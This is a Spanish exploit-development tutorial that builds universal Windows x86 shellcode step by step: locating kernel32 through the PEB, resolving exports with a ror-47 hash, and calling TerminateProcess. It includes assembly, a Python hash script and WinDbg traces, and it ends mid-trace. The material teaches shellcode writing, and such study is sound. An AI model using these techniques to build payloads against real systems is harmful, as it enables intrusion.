En explotaciones anteriores la creación del shellcode la haciamos usando msfvenom
, en este post aprenderemos no solo a entender como funciona sino tambien desarrollarlo por nuestra cuenta, primero crearemos el codigo en lenguaje en ensamblador
para despues traducirlo a una forma hexadecimal que podamos usar en un exploit, el crear un shellcode
universal para windows ciertamente puede ser un reto asi que repasemos algunos conceptos y veamos que podemos o no usar
Contenido
Exploit Development
Custom Shellcode
Calling Conventions
Las convenciones de llamadas definen lo que se necesita para llamar a una función:
• Como se pasan los argumentos a la función
• Como se prepara la pila antes de la llamada
• Como se restaura la pila después de la llamada
Por tanto es importante que se utilice la convención de la llamada correcta para la función, las funciones de la API
de Win32 utilizan la convencion de llamadas __stdcall
mientras que las funciones en tiempo de ejecución C
utilizan la convención __cdecl
, en los 2 casos los parametros se empujan a la pila en orden inverso, la diferencia es que cuanso se utiliza __stdcall
la pila es limpiada por el callee mientras que cuando se utiliza __cdecl
es limpilada por el caller
Para cualquier convencion de llamada en x86
los registros eax
, ecx
y edx
se consideran volatiles lo qeu significa que no debemos confiar en que estos volveran con el mismo valor ya que pueden ser manipulados durante la llamada a una función
Las syscalls
son funciones que proporcionan interfaz al kernel desde windows-user esto permite ejecutar funciones de bajo nivel del sistema operativo, la API
nativa de windows es equivalente a system calls en sistemas unix
, se trata de una interfaz expuesta a las aplicaciones en windows-user por la libreria ntdll.dll
La API nativa de windows no esta documentada y esta oculta tras la API
de nivel superior, las funciones a nivel de kernel se identifican a traves de syscall numbers
sin embargo estos tienden a cambiar entre versiones y es bastante limitada, por ejemplo no hay una api de socket a traves de syscalls
por lo que debemos evitarlas a toda costa para escribir un shellcode universal que funcione en cualquier version
Sin syscalls
la unica opcion de comunicarnos con el kernel es la API
de Windows que se exporta mediante librerias (.dll
) si no estan cargadas en el proceso necesitamos cargarlas y localizar las funciones que exportan, una vez localizadas las funciones podemos llamarlas en el shellcode, la funcion LoadLibraryA
nos permite cargar dlls mientras GetModuleHandle
puede utilizarse para obtener la direccion base de una dll y GetProcAddress
para resolver simbolos, sin embargo las direcciones no las conocemos cuando corremos el shellcode en memoria, para ello necesitamos averiguar como resolver funciones de kernel32.dll
y de otras librerias necesarias
Find kernel32
Entonces, shellcode necesita localizar la direccion base de kernel32.dll
, para obtener la direccion base de una dll necesitamos asegurarnos que esta en memoria en tiempo de ejecucion, afortunadamente kernel32.dll
esta garantizado porque exporta las API basicas para la mayoria de procesos, una vez podamos obtener su direccion base y resolver simbolos podemos cargar otras librerias con LoadLibraryA
Hay varios metodos que se pueden utilizar para encontrar la dirección base de kernel32.dll
, el método más usado por su portabilidad se basa en la estructura del bloque PEB
, la estructura PEB es asignada por el sistema en cada proceso, podemos encontrarla en la memoria a partir de la direccion contenida en el registro fs
En las versiones de 32
bits el registro fs
siempre contiene un puntero al TEB
, en el offset 0x30
del TEB
podemos encontrar un puntero a la estructura PEB
0:000> dt ntdll!_TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x012946a0 Void
+0x030 ProcessEnvironmentBlock : 0x00d46000 _PEB
Dentro del PEB
hay un puntero a la estructura _PEB_LDR_DATA
con un offset de 0xc
que hace referencia a 3 listas enlazadas que muestren los modulos cargados
0:000> dt ntdll!_PEB 0x00d46000
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x4 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x009b0000 Void
+0x00c Ldr : 0x77adeb20 _PEB_LDR_DATA
En la estructura _PEB_LDR_DATA
encontramos 3 listas enlazadas con nombres descriptivos que ofrecen un ordenamiento diferente de los modulos cargado, todos ellos muestran el modulo anterior y siguiente, solo cambia el orden que usa:
• InLoadOrderModuleList
: En orden de carga
• InMemoryOrderModuleList
: En orden de colocación en memoria
• InInitializationOrderModuleList
: En orden de inicialización
WinDbg describe el campo InMemoryOrderModuleList
como una estructura LIST_ENTRY
compuesta por 2 campos que analizaremos a continuación
0:000> dt ntdll!_PEB_LDR_DATA 0x77adeb20
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x2892138 - 0x289b4d0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x2892140 - 0x289b4d8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x2892050 - 0x2897588 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
Ambos campos de la estructura se utilizan habitualmente en listas doblemente enlazadas para acceder a la entrada siguiente (Flink
) o anterior (Blink
) de la lista
0:000> dt ntdll!_LIST_ENTRY (0x77adeb20 + 0x14)
[ 0x2892140 - 0x289b4d8 ]
+0x000 Flink : 0x02892140 _LIST_ENTRY [ 0x2892048 - 0x77adeb34 ]
+0x004 Blink : 0x0289b4d8 _LIST_ENTRY [ 0x77adeb34 - 0x289b7d8 ]
Al mostrar la estructura restando 0x8
de la direccion de la estructura _LIST_ENTRY
para llegar al principio de la estructura _LDR_DATA_TABLE_ENTRY
, muestra que la estructura contiene un campo llamado DllBase
que como su nombre indica contiene la dirección base del dll, tambien podemos obtener el nombre de la libreria en el campo BaseDllName
que tiene una estructura de tipo _UNICODE_STRING
0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(0x77adeb20 + 0x14 - 0x8)
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x2892040 - 0x77adeb2c ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x2892048 - 0x77adeb34 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0x00150000 Void
+0x01c EntryPoint : 0x00176e90 Void
+0x020 SizeOfImage : 0x51000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\SysWOW64\notepad.exe"
+0x02c BaseDllName : _UNICODE_STRING "notepad.exe"
Al ser una lista enlazada deberiamos acceder a la siguiente entrada, que será ntdll.dll
y como tercer valor kernel32.dll
, en el offset 0x18
osea 0x10
a partir de donde estamos deberiamos tener el valor DllBase
que tendrá la base de kernel32
0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(poi(0x77adeb20 + 0x14) - 0x8)
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x2897578 - 0x2892138 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x2897580 - 0x2892140 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x2897900 - 0x77adeb3c ]
+0x018 DllBase : 0x779b0000 Void
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x1b2000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
+0x02c BaseDllName : _UNICODE_STRING "ntdll.dll"
0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(poi(poi(0x77adeb20 + 0x14)) - 0x8)
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x1294498 - 0x1293b98 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x12944a0 - 0x1293ba0 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x77adeb3c - 0x12944a8 ]
+0x018 DllBase : 0x77890000 Void
+0x01c EntryPoint : 0x778a77c0 Void
+0x020 SizeOfImage : 0xf0000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
+0x02c BaseDllName : _UNICODE_STRING "KERNEL32.DLL"
Inciamos nuestro shellcode con un int3
que usaremos como breakpoint, despues de ello moveremos el registro esp
a ebp
y restaremos 0x28
, esto emula una funcion real para que los argumentos pasados a la funcion sean accedidos facilmente
global _start
_start:
int3
mov ebp, esp ; new stack frame
sub esp, 0x28 ; space for variables
Despues ejecutamos la funcion .find_kernel32
, esta guarda en esi fs:[0x30]
que es el puntero al PEB
, desreferenciamos esi
con el offset 0xc
para obtener el puntero a la estructura _PEB_LDR_DATA
, finalmente desreferenciamos de nuevo esi
ahora con el offset 0x14
para obtener la entrada de la lista InMemoryOrderModuleList
.find_kernel32:
xor ecx, ecx ; TEB structure
mov esi, [fs: ecx + 0x30] ; PEB Address
mov esi, [esi + 0xc] ; ntdll!PebLdr
mov esi, [esi + 0x14] ; InMemoryOrderModuleList
La primera instruccion mov
guarda la primera entrada de la lista que es el binario en esi
, después con lodsd se carga la siguiente entrada InMemoryOrderModuleList
utilizando el miembro flink
, esta será ntdll.dll
, finalmente se mueve a ebx
el valor DllBase
de la siguiente entrada guardando así la base de kernel32.dll
mov esi, [esi] ; ntdll.dll
lodsd ; kernel32.dll
mov ebx, [eax + 0x10] ; kernel32 base
ret ; return
Para debuggear el shellcode facilmente simplemente crearemos un ejecutable compilando el codigo ensamblador con nasm
y ld
para obtener un .exe
❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m i386pe -o shellcode.exe
Podemos simplemente abrir el ejecutable en WinDbg
y ejecutarlo hasta el breakpoint
que indica que lo que esta justo despues es nuestro shellcode
0:000> g
(2ecc.2ea8): Break instruction exception - code 80000003 (first chance)
eax=00bff8a4 ebx=009e6000 ecx=00d31000 edx=00d31000 esi=00d31000 edi=00d31000
eip=00d31000 esp=00bff850 ebp=00bff85c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x1000:
00d31000 cc int 3
0:000> u eip Lb
shellcode+0x1000:
00d31000 cc int 3
00d31001 89e5 mov ebp,esp
00d31003 83ec28 sub esp,28h
00d31006 31c9 xor ecx,ecx
00d31008 648b7130 mov esi,dword ptr fs:[ecx+30h]
00d3100c 8b760c mov esi,dword ptr [esi+0Ch]
00d3100f 8b7614 mov esi,dword ptr [esi+14h]
00d31012 8b36 mov esi,dword ptr [esi]
00d31014 ad lods dword ptr [esi]
00d31015 8b5810 mov ebx,dword ptr [eax+10h]
00d31018 c3 ret
Saltemos hasta la siguiente instrucción ret
que indica que ha salido bien y si es asi en el registro ebx deberiamos la dirección base del módulo kernel32.dll
0:000> pt
eax=012940b0 ebx=77890000 ecx=00000000 edx=009b1000 esi=01293ba4 edi=009b1000
eip=009b1018 esp=00fff9c0 ebp=00fff9e8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x1018:
009b1018 c3 ret
0:000> r ebx
ebx=77890000
0:000> lm m kernel32
Browse full module list
start end module name
77890000 77980000 KERNEL32 (deferred)
Find symbols
Una vez obtuvimos la direccion de kernel32.dll
el siguiente paso es resolver las API exportadas por el modulo, comenzaremos por resolver la dirección de la función TerminateProcess
utilizando la Export Directory Table
para encontrar su dirección
Usar la Export Directory Table
es la forma segura de resolver simbolos de las dll, las dlls que exportan funciones tienen una tabla que contiene informacion como:
• Numero de simbolos exportados
• RVA del array de export-functions
• RVA del array de export-names
• RVA del array de export-ordinals
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
};
Para resolver un simbolo por su nombre empezaremos por la lista AddressOfNames
cada nombre tendra una entrada e indice unicos en la lista, una vez encontramos el nombre del simbolo en el indice i
de la lista AddressOfNames
podemos utilizar el indice en la lista AddressOfNameOrdinals
, despues de esto la entrada en la lista AddressOfNameOrdinals
en el indice i
contendra un valor que servira como nuevo indice, encontraremos la Relative Virtual Address (RVA)
de la funcion, podemos convertirla en una Virtual Memory Address (VMA)
añadiendo la direccion base del dll
El tamaño
del shellcode es importante, tenemos que optimizar el algoritmo de busqueda para los nombres de simbolos que necesitamos, para ello utilizaremos una funcion hash
que transforma una cadena en un hash de apenas un dword
, esto nos permitira reutilizar las instrucciones para cualquier nombre de simbolo
La funcion .find_function
guarda los valores en la pila usando pushad
para restaurarlos despues incluso si se modifican, se almacena la direccion base con el offset 0x3c
en eax
, en este offset se encuentra el offset de la cabecera PE
, luego se utilizar el valor en eax
y se añade a la direccion base de kernel32.dll
junto con un offset estatico de 0x78
y se almacena el valor desreferenciado en edi
, se usa un offset de 0x78
porque es la ubicacion donde podemos encontrar el RVA
de la Export Directory Table
, esta se convierte en una VMA
sumando la direccion base
.find_function:
pusha ; save all registers
mov eax, [ebx + 0x3c] ; RVA to PE signature
mov edi, [ebx + eax + 0x78] ; RVA of Export Table
add edi, ebx ; Export Table
Almacenamos el VMA con un offset de 0x18
en ecx
este es el offset del campo NumberOfName
que contiene el numero de simbolos exportados, por lo que podemos usar el valor en ecx
como contador para analizar la lista AddressOfNames
, movelos el valor que apunta edi
y un offset de 0x20
del campo AddressOfNames
a eax
, como se trata de un RVA
añadimos la direccion base de kernel32.dll
para obtener el VMA
, luego guardamos el VMA
de AddressOfNames
en una variable en ebp
mov ecx, [edi + 0x18] ; NR of Names
mov eax, [edi + 0x20] ; RVA of Name Pointer Table
add eax, ebx ; Name Pointer Table
mov [ebp - 0x4], eax ; var4 = Name Pointer Table
Entonces seguimos con .find_loop
que comienza con un salto condicional baseado en el valor de ecx
, si se cumple significa que hemos llegado al final de la lista sin encontrar el nombre del simbolo, si el valor de ecx
no es 0x0
decrementamos el contador y obtenemos la VMA
de AddressOfNames
, podemos utilizar ecx
como indice de AddressOfNames
y multiplicarlo por 4
ya que cada entrada es un dword
, despues guardamos el RVA
del nombre del simbolo en esi
para finalmente obtener el VMA
del nombre del simbolo añadiendo la direccion base de kernel32.dll
.find_loop:
jecxz .find_end ; if ecx = 0x0
dec ecx ; counter -= 1
mov eax, [ebp - 0x4] ; $eax = Name Pointer Table
mov esi, [eax + ecx * 4] ; RVA of symbol name
add esi, ebx ; symbol name
Finalmente para salir de la función restauramos los registros guardados y retornamos
.find_end:
popa ; restore registers
ret ; return
El encabezado PE puede encontrarse en el offset 0xf8
, mirando esta estructura podemos notar la estructura _IMAGE_OPTIONAL_HEADER
en el offset 0x18
0:000> g
(1898.1e74): Break instruction exception - code 80000003 (first chance)
eax=6f5f7210 ebx=0042b000 ecx=00131000 edx=00131000 esi=00131000 edi=00131000
eip=00131000 esp=007ff80c ebp=007ff81c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1000:
00131000 cc int 3
0:000> lm m kernel32
Browse full module list
start end module name
77480000 77515000 KERNEL32 (derefered)
0:000> dt ntdll!_IMAGE_DOS_HEADER 0x77480000
+0x000 e_magic : 0x5a4d
+0x002 e_cblp : 0x90
+0x004 e_cp : 3
+0x006 e_crlc : 0
+0x008 e_cparhdr : 4
+0x00a e_minalloc : 0
+0x00c e_maxalloc : 0xffff
+0x00e e_ss : 0
+0x010 e_sp : 0xb8
+0x012 e_csum : 0
+0x014 e_ip : 0
+0x016 e_cs : 0
+0x018 e_lfarlc : 0x40
+0x01a e_ovno : 0
+0x01c e_res : [4] 0
+0x024 e_oemid : 0
+0x026 e_oeminfo : 0
+0x028 e_res2 : [10] 0
+0x03c e_lfanew : 0n248
0:000> ? 0n248
Evaluate expression: 248 = 000000f8
0:000> dt ntdll!_IMAGE_NT_HEADERS 0x77480000 + 0xf8
+0x000 Signature : 0x4550
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER
Esta estructura contiene dentro otra estructura llamada _IMAGE_DATA_DIRECTORY
en el offset 0x60
, el campo DataDirectory
se representa como una lista de longitud 16
0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER 0x77480000 + 0xf8 + 0x18
+0x000 Magic : 0x10b
+0x002 MajorLinkerVersion : 0xe ''
+0x003 MinorLinkerVersion : 0xa ''
+0x004 SizeOfCode : 0x82000
+0x008 SizeOfInitializedData : 0x12000
+0x00c SizeOfUninitializedData : 0
+0x010 AddressOfEntryPoint : 0x195e0
+0x014 BaseOfCode : 0x1000
+0x018 BaseOfData : 0x83000
+0x01c ImageBase : 0x77480000
+0x020 SectionAlignment : 0x1000
+0x024 FileAlignment : 0x1000
+0x028 MajorOperatingSystemVersion : 0xa
+0x02a MinorOperatingSystemVersion : 0
+0x02c MajorImageVersion : 0xa
+0x02e MinorImageVersion : 0
+0x030 MajorSubsystemVersion : 0xa
+0x032 MinorSubsystemVersion : 0
+0x034 Win32VersionValue : 0
+0x038 SizeOfImage : 0x95000
+0x03c SizeOfHeaders : 0x1000
+0x040 CheckSum : 0x98558
+0x044 Subsystem : 3
+0x046 DllCharacteristics : 0x4140
+0x048 SizeOfStackReserve : 0x40000
+0x04c SizeOfStackCommit : 0x1000
+0x050 SizeOfHeapReserve : 0x100000
+0x054 SizeOfHeapCommit : 0x1000
+0x058 LoaderFlags : 0
+0x05c NumberOfRvaAndSizes : 0x10
+0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
Esta estructura se compone de 2 dwords
que da como resultado un tamaño de 0x8
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
Encontraremos la estructura _IMAGE_OPTIONAL_HEADER
en el offset 0x18
de la cabecera PE, en el offset 0x60
localizaremos la primera entrada de DataDirectory
que contiene informacion sobre la Export Directory Table
, esta informacion confirma que el shellcode utiliza el offset de 0x78
correcto para obtener la EDT
0:000> dt ntdll!_IMAGE_DATA_DIRECTORY 0x77480000 + 0xf8 + 0x78
+0x000 VirtualAddress : 0x75480
+0x004 Size : 0xd836
0:000> !dh -f kernel32
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
5 number of sections
57CE72FD time date stamp Tue Sep 6 02:40:45 2016
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
14.10 linker version
82000 size of code
12000 size of initialized data
0 size of uninitialized data
195E0 address of entry point
1000 base of code
4140 DLL characteristics
Dynamic base
NX compatible
Guard
75480 [ D836] address [size] of Export Directory
853E8 [ 6F4] address [size] of Import Directory
8F000 [ 520] address [size] of Resource Directory
Despues de obtener la RVA
para la EDT
determinaremos si el shellcode recupera el mismo valor, y antes de sumarle la direccion base el valor de edi
coincide con este
0:000> p
eax=000000f8 ebx=77480000 ecx=00000000 edx=00bf1000 esi=779bab5c edi=00075480
eip=00bf1033 esp=00fffe00 ebp=00fffe4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1033:
00bf1033 01df add edi,ebx
0:000> r edi
edi=00075480
Al seguir ejecutando el shellcode hasta la función .find_end
el registro esi
deberia apuntar al nombre del ultimo simbolo exportado por kernel32.dll
0:000> r
eax=774f6d90 ebx=77480000 ecx=00000639 edx=00bf1000 esi=77502caa edi=774f5480
eip=00bf104b esp=00fffe00 ebp=00fffe4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
shellcode+0x104b:
00bf104b 61 popad
0:000> da esi
77502caa "timeGetTime"
Compute hash
Con lo anterior estamos listos para analizar la lista ArrayOfNames
en busca del simbolo que nos interesa, en este caso TerminateProcess
para ello utilizaremos un algoritmo de hash
que genera un dword
unico para buscarlo en lugar de la longitud de la cadena o varias partes del nombre del simbolo este produce el mismo resultado obtenido por GetProcAddress
y se puede reutilizar para todas las librerias
La primera parte a agregar comienza asignando el valor 0x0
al registro eax
, tambien utiliza cdq
para establecer edx
en 0x0
con menos peso que el tipico xor
xor eax, eax ; $eax = 0x0
cdq ; $edx = 0x0
La funcion .compute_hash
comienza ejecutando lodsb
que cargara un byte de la memoria apuntada por esi
al registro al
y luego incrementara o disminuira automaticamente el registro de acuerdo con la flag df
, despues una instruccion test
para comprobar si al
es 0x0
, si lo es tomara el salto jz
hacia .find_end
, si al
no es 0x0
llegaremos a una operacion bit a bit con ror
que rota los bits del primer operando a la derecha el numero de posiciones de bit especificado en el segundo operando, en este caso se rota 47
o 0x2f
bits, aunque lugar de rot 47
se pudo usar rot 13
la representacion de este es 0xd
que como se ha visto en explotaciones anteriores suele ser un badchar
bastante comun asi que lo evitaremos
.compute_hash:
lodsb ; load in al next byte from esi
test al, al ; check null terminator
jz .find_end ; If ZF == 1
ror edx, 0x2f ; rot 47
add edx, eax ; add new byte
jmp .compute_hash ; loop
.find_end:
popa ; restore registers
ret ; return
Para entender como funciona ror
podemos probarlo dentro de windbg, guardando en eax
un valor y ejecutando ror eax, 0x1
, al ejecutarlo vemos el resultado
0:000> r eax=0x41
0:000> a eip
00bf104b ror eax, 0x1
ror eax, 0x1
00bf104d
0:000> .formats eax
Evaluate expression:
Hex: 00000041
Decimal: 65
Octal: 00000000101
Binary: 00000000 00000000 00000000 01000001
Chars: ...A
Time: Wed Dec 31 18:01:05 1969
Float: low 9.10844e-044 high 0
Double: 3.21143e-322
0:000> p
eax=80000020 ebx=77480000 ecx=00000639 edx=00bf1000 esi=77502caa edi=774f5480
eip=00bf104d esp=00fffe00 ebp=00fffe4c iopl=0 ov up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a07
shellcode+0x104d:
00bf104d ff ???
0:000> .formats eax
Evaluate expression:
Hex: 80000020
Decimal: -2147483616
Octal: 20000000040
Binary: 10000000 00000000 00000000 00100000
Chars: ...
Time: ***** Invalid
Float: low -4.48416e-044 high -1.#QNAN
Double: -1.#QNAN
Despues del ror
añadimos el valor de eax
que contiene un byte del simbolo al registro edx
y saltamos a .compute_hash
, este bucle repasara cada byte
del nombre de simbolo y lo añadira a edx
, esto devolverá un hash
unico de 4 bytes para el simbolo por lo que podemos compararlo con un hash
precomputado para determinar si la entrada es correcta y hemos encontrado la funcion que necesitamos
Podemos escribir un simple script en python
que realice la misma operacion para poder calcular el hash
de un simbolo para buscarlo en el shellcode
#!/usr/bin/python3
import sys
def ror(byte, count):
binb = bin(byte)[2:].zfill(32)
binb = binb[-count % 32:] + binb[:-count % 32]
return int(binb, 2)
esi = sys.argv[1]
edx = 0x0
counter = 0
for eax in esi:
edx = edx + ord(eax)
if counter < len(esi) - 1:
edx = ror(edx, 47)
counter += 1
print(hex(edx))
El script recibe una cadena en este caso le pasaremos timeGetTime
para generar el hash, este fue el el nombre del ultimo simbolo exportado por kernel32.dll
❯ python3 hash.py timeGetTime
0x149c580a
Ejecutamos el shellcode actualizado para confirmar que el algoritmo funciona, si nos detenemos en .find_function
podemos ver el codigo que genera el hash
0:000> r
eax=7da34f81 ebx=77480000 ecx=00000000 edx=010f1000 esi=779bab5c edi=00b32388
eip=010f102b esp=009ffa7c ebp=009ffaa8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x102b:
010f102b 60 pushad
0:000> u eip L18
shellcode+0x102b:
010f102b 60 pushad
010f102c 8b433c mov eax,dword ptr [ebx+3Ch]
010f102f 8b7c0378 mov edi,dword ptr [ebx+eax+78h]
010f1033 01df add edi,ebx
010f1035 8b4f18 mov ecx,dword ptr [edi+18h]
010f1038 8b4720 mov eax,dword ptr [edi+20h]
010f103b 01d8 add eax,ebx
010f103d 8945fc mov dword ptr [ebp-4],eax
010f1040 e319 jecxz shellcode+0x105b (010f105b)
010f1042 49 dec ecx
010f1043 8b45fc mov eax,dword ptr [ebp-4]
010f1046 8b3488 mov esi,dword ptr [eax+ecx*4]
010f1049 01de add esi,ebx
010f104b 31c0 xor eax,eax
010f104d 99 cdq
010f104e fc cld
010f104f ac lods byte ptr [esi]
010f1050 84c0 test al,al
010f1052 7407 je shellcode+0x105b (010f105b)
010f1054 c1ca2f ror edx,2Fh
010f1057 01c2 add edx,eax
010f1059 ebf4 jmp shellcode+0x104f (010f104f)
010f105b 61 popad
010f105c c3 ret
El primer salto lo hacemos despues de que encuentra la primera entrada de la tabla que es la funcion timeGetTime
, despues saltamos a .find_end
y comprobamos que el hash calculado con el script de python
coincide con el valor del registro edx
0:000> g 0x010f104b
eax=774f6d90 ebx=77480000 ecx=00000639 edx=010f1000 esi=77502caa edi=774f5480
eip=010f104b esp=009ffa5c ebp=009ffaa8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
shellcode+0x104b:
010f104b 31c0 xor eax,eax
0:000> da esi
77502caa "timeGetTime"
0:000> g 0x010f105b
eax=00000000 ebx=77480000 ecx=00000639 edx=149c580a esi=77502cb6 edi=774f5480
eip=010f105b esp=009ffa5c ebp=009ffaa8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x105b:
010f105b 61 popad
0:000> r edx
edx=149c580a
Ahora que hemos comprobado que el algoritmo hash
funciona podemos buscar el simbolo TerminateProcess
obtener su dirección dentro del shellcode
❯ python3 hash.py TerminateProcess
0x8ee05933
El primer cambio es en la funcion _start
, colocamos en la pila el hash
calculado, luego llamamos la función .find_function
para resolverlo, este devuelve en eax
su dirección por lo que le pasamos los argumentos necesarios y llamamos a la función
global _start
_start:
int3
mov ebp, esp ; new stack frame
sub esp, 0x28 ; space for variables
call .find_kernel32 ; find kernel32
push 0x8ee05933 ; TerminateProcess() hash
call .find_function ; find TerminateProcess()
xor ecx, ecx ; $ecx = 0x0
push ecx ; uExitCode
push 0xffffffff ; hProcess
call eax ; call TerminateProcess()
La funcion .compare_hash
compara edx
y el valor apuntado por esp + 0x24
, para que esta comparacion funcione necesitamos asegurarnos que esp + 0x24
apunte al hash
precomputado, si los hashes comparados no coinciden volveremos a .find_loop
y tomaremos la siguiente entrada de la lista AddressOfNameOrdinals
en el offset 0x24
de la EDT
que se almacena en edi
, la siguiente instruccion añade la base de kernel32.dll
al RVA
de AddressOfNameOrdinals
, seguido de esto se mueve a cx
[edx + 2 * ecx]
que se utiliza como indice de la lista AddressOfNames
Una vez que encontramos la entrada para nuestro simbolo podemos utilizar el indice para recuperar la entrada de la lista AddressOfNameOrdinals
, multiplicamos ecx
por 0x2
ya que cada entrada es un word
, luego movemos el valor al registro cx
que es nuestro contador/indice, usaremos este nuevo valor como nuevo indice de la lista AddressOfFunctions
, antes de tomar el nuevo indice tomamos el RVA
en el offset 0x1c
de la EDT
, y le añadimos la base de kernel32
, usando el indice recuperamos el RVA
de la funcion y al sumarle la base de kernel32.dll
obtenemos el VMA
.compute_hash:
lodsb ; load in al next byte from esi
test al, al ; check null terminator
jz .compare_hash ; If ZF == 1
ror edx, 0x2f ; rot 47
add edx, eax ; add new byte
jmp .compute_hash ; loop
.compare_hash:
cmp edx, [esp + 0x24] ; cmp edx, hash
jnz .find_loop ; if zf != 1
mov edx, [edi + 0x24] ; RVA of Ordinal Table
add edx, ebx ; Ordinal Table
mov cx, [edx + 2 * ecx] ; extrapolate ordinal functions
mov edx, [edi + 0x1c] ; RVA of Address Table
add edx, ebx ; Address Table
mov eax, [edx + 4 * ecx] ; RVA of function
add eax, ebx ; function
mov [esp + 0x1c], eax ; overwrite eax from pushad
.find_end:
popa ; restore registers
ret ; return
Al correrlo en del debugger podemos ir a la instruccion final de .compare_hash
, en el registro eax
ahora se almacena la dirección de la función TerminateProcess
0:000> r
eax=774a9070 ebx=77480000 ecx=00000584 edx=774f54a8 esi=77501cd3 edi=774f5480
eip=00f71080 esp=013ffe74 ebp=013ffec4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
shellcode+0x1080:
00f71080 8944241c mov dword ptr [esp+1Ch],eax ss:0023:013ffe90=9a0d9fa1
0:000> u eax
KERNEL32!TerminateProcessStub:
774a9070 8bff mov edi,edi
774a9072 55 push ebp
774a9073 8bec mov ebp,esp
774a9075 5d pop ebp
774a9076 ff2534495077 jmp dword ptr [KERNEL32!_imp__TerminateProcess (77504934)]
774a907c cc int 3
774a907d cc int 3
774a907e cc int 3
Despues de salir de la función .find_function
se setean los registros que necesita TerminateProcess
para finalmente llamarlo aprovechando que lo tenemos en eax
, de esta forma logramos obtener y ejecutar un simbolo dentro de kernel32.dll
0:000> r
eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
eip=00f71015 esp=013ffe98 ebp=013ffec4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
shellcode+0x1015:
00f71015 31c9 xor ecx,ecx
0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
eip=00f71017 esp=013ffe98 ebp=013ffec4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
shellcode+0x1017:
00f71017 51 push ecx
0:000> p
eax=774a9070 ebx=77480000 ecx=00000000 edx=00f71000 esi=779bab5c edi=014e2388
